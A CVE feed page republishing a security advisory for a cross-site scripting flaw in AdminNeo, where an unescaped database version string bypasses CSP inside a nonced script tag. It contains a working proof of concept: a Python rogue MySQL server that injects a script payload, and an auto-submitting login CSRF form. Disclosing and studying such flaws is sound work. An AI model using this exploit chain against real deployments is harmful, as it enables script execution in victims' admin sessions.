0.0
NA
CVE-2026-96632
AdminNeo Cross-Site Scripting
Description

## Summary AdminNeo inserts the database server's version string into a `<script>` tag that carries a valid CSP nonce, without any sanitization. A rogue database server can return a crafted version string that breaks out of the JavaScript context and executes arbitrary code. Because the script tag already has a valid nonce, the browser's Content Security Policy does not block execution. No authentication is required when combined with Login CSRF. Originally reported in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj ## Prerequisites - Target runs AdminNeo - Attacker controls a reachable MySQL server (a 80-line Python script) ## Root Cause `admin/core/Admin.php`, lines 1285-1286: ```php echo script("let autocompletion;\nwindow.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('" . Connection::get()->getVersion() . "', '" . Connection::get()->getFlavor() . "', autocompletion); });"); ``` `script()` wraps the output in `<script nonce="VALID_NONCE">`. Return value of `Connection::get()->getVersion()` is not escaped. ## Steps To Reproduce ### 1. Build the environment **Dockerfile** (AdminNeo): ```dockerfile FROM php:8.3-cli COPY adminneo.php /var/www/adminneo.php WORKDIR /var/www EXPOSE 8081 CMD ["php", "-S", "0.0.0.0:8081"] ``` **rogue_mysql.py** (fake MySQL server that accepts any login): ```python import socket, struct, threading PAYLOAD = "1');alert(origin)//" # Capability flags the client expects CAP_PROTOCOL_41 = 0x0200 CAP_SECURE_CONNECTION = 0x8000 CAP_PLUGIN_AUTH = 0x00080000 CAPS_LOW = CAP_PROTOCOL_41 | CAP_SECURE_CONNECTION CAPS_HIGH = (CAP_PLUGIN_AUTH >> 16) def make_packet(seq, payload): length = struct.pack("<I", len(payload))[:3] return length + bytes([seq]) + payload def make_greeting(version_str): pkt = b"\x0a" # protocol version 10 pkt += version_str.encode() + b"\x00" # version string pkt += struct.pack("<I", 1) # connection id pkt += b"\x41" * 8 # auth plugin data part 1 pkt += b"\x00" # filler pkt += struct.pack("<H", CAPS_LOW) # capability flags lower pkt += b"\x21" # charset utf8 pkt += struct.pack("<H", 0x0002) # status flags pkt += struct.pack("<H", CAPS_HIGH) # capability flags upper pkt += b"\x15" # auth data length (21) pkt += b"\x00" * 10 # reserved pkt += b"\x41" * 12 + b"\x00" # auth plugin data part 2 pkt += b"mysql_native_password\x00" # auth plugin name return make_packet(0, pkt) def make_ok(seq): pkt = b"\x00" # OK marker pkt += b"\x00" # affected rows pkt += b"\x00" # last insert id pkt += struct.pack("<H", 0x0002) # status flags pkt += struct.pack("<H", 0) # warnings return make_packet(seq, pkt) def make_eof(seq): pkt = b"\xfe" pkt += struct.pack("<H", 0) # warnings pkt += struct.pack("<H", 0x0002) # status flags return make_packet(seq, pkt) def make_err(seq, msg=b"not supported"): pkt = b"\xff" pkt += struct.pack("<H", 1045) pkt += b"#HY000" pkt += msg return make_packet(seq, pkt) def handle(conn): conn.sendall(make_greeting(PAYLOAD)) try: conn.recv(4096) # client login request except Exception: conn.close() return conn.sendall(make_ok(2)) # accept login # Answer any queries Adminer sends after login while True: try: data = conn.recv(4096) if not data: break seq = data[3] + 1 # Send ERR for all queries (Adminer still has the version in memory) conn.sendall(make_err(seq)) except Exception: break conn.close() srv = socket.socket() srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind(("0.0.0.0", 3307)) srv.listen(5) print("[*] Rogue MySQL on :3307 - version: " + PAYLOAD) while True: conn, addr = srv.accept() print(f"[+] Connection from {addr}") threading.Thread(target=handle, args=(conn,)).start() ``` ```shell # Terminal 1: start Adminer docker build -t adminer-xss . docker run -d -p 8081:8081 --name adminer-xss adminer-xss # Terminal 2: start rogue MySQL python3 rogue_mysql.py ``` ### 2. Trigger the XSS Open a browser and navigate to `http://localhost:8081/adminneo.php`: 1. Select driver: **MySQL** 2. Server: `HOST_IP:3307` (IP of the machine running rogue_mysql.py) 3. Username: `root` 4. Password: `x` 5. Click Login. The rogue server accepts the login. AdminNeo renders the dashboard and includes: ```html <script nonce="REAL_NONCE">let autocompletion; window.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('1');alert(origin)//', 'mysql', autocompletion); });</script> ``` The browser executes `alert(origin)` with full CSP bypass because the script tag carries a valid nonce. ### 3. Trigger it via Login CSRF The login form has no CSRF token. An attacker page auto-submits the login, forcing the victim's browser to connect to the rogue server: ```html <form id="f" method="POST" action="http://TARGET/adminneo.php"> <input name="auth[driver]" value="mysql"> <input name="auth[server]" value="ROGUE_IP:3307"> <input name="auth[username]" value="root"> <input name="auth[password]" value="x"> </form> <script>document.getElementById('f').submit()</script> ``` ## Collaborator Request This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @Voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!

INFO

Published Date :

Oct. 30, 2026, 10:52 p.m.

Last Modified :

Oct. 30, 2026, 10:52 p.m.

Remotely Exploit :

No

Source :

github-security-advisories
Affected Products

The following products are affected by CVE-2026-96632 vulnerability. Even if cvefeed.io is aware of the exact versions of the products that are affected, the information is not represented in the table below.

No affected product recoded yet

Solution
Sanitize database version strings before embedding them in script tags to prevent code execution.
  • Escape database version strings before outputting.
  • Validate all input used in script tags.
  • Ensure server-side input validation is robust.
CWE - Common Weakness Enumeration

While CVE identifies specific instances of vulnerabilities, CWE categorizes the common flaws or weaknesses that can lead to vulnerabilities. CVE-2026-96632 is associated with the following CWEs:

Common Attack Pattern Enumeration and Classification (CAPEC)

Common Attack Pattern Enumeration and Classification (CAPEC) stores attack patterns, which are descriptions of the common attributes and approaches employed by adversaries to exploit the CVE-2026-96632 weaknesses.

We scan GitHub repositories to detect new proof-of-concept exploits. Following list is a collection of public exploits and proof-of-concepts, which have been published on GitHub (sorted by the most recently updated).

Results are limited to the first 15 repositories due to potential performance issues.

The following list is the news that have been mention CVE-2026-96632 vulnerability anywhere in the article.

EPSS is a daily estimate of the probability of exploitation activity being observed over the next 30 days. Following chart shows the EPSS score history of the vulnerability.